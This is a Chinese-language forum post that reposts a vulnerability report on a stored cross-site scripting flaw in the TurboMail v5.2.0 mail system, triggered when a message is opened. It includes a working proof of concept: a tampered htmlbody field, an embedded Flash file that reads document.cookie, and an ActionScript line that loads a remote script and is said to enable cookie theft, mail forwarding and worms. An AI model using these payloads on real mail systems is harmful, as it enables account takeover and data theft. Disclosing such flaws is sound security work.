[漏洞分析] Turbomail郵件系統正文持久型XSS漏洞

[複製鏈接]

ztommy

180 主題	0 好友	169 積分

註冊會員

Rank: 2

UID: 202597
帖子: 180
主題: 180
精華: 0
積分: 169
楓幣: 1585
威望: 168
存款: 0
贊助金額: 0
推廣: 0
ＧＰ: 143
閱讀權限: 20
性別: 保密
在線時間: 14 小時
註冊時間: 2017-8-22
最後登入: 2019-5-23

發消息

電梯直達

1樓

發表於 2017-10-25 19:26:05 |只看該作者 |倒序瀏覽

漏洞作者：路人甲簡要描述：

郵件系統對郵件內容過濾不嚴格，導致存儲型跨站。

詳細說明：

1、TurboMail郵件系統對郵件內容過濾不嚴格，導致存儲型FLASH跨站，打開郵件即可觸發漏洞，由於FLASH文件可以執行javascript代碼，所以我們可以利用此漏洞進行盜取用戶信息、用戶郵件、釣魚、修改用戶設置、轉發郵件等操作。

涉及版本v5.2.0

漏洞證明：

TurboMail下載地址：http://www.turbomail.org/download.html

測試瀏覽器：Firefox29.0.1、Chrome33.0.1750.149 m

1、寫郵件，使用代理對請求進行攔截，本次使用burp suite，修改htmlbody字段值(即郵件內容)，如下圖所示：

嵌入的惡意代碼解碼後的內容為：

xss.swf內的腳本代碼為：getURL("javascript:alert(document.cookie)");

2、用戶打開郵件，漏洞觸發：

3、使用Firebug查看頁面源代碼：

flash文件成功插入，且允許執行腳本代碼

4、修改xss.swf文件內容，

import flash.external.ExternalInterface;

ExternalInterface.call("eval","d=document;e=d.createElement('script');e.src='http://127.0.0.1/eXploit.js';d.body.appendChild(e) ;");//使用ExternalInterface.call()函數加載本地腳本文件，通過修改本地腳本文件內容我們可以進行盜取用戶信息、用戶郵件、釣魚，編寫蠕蟲等操作。

通過修改eXploit.js文件內容，我們可以進行盜取cookie，轉發郵件、刪除用戶郵件等操作。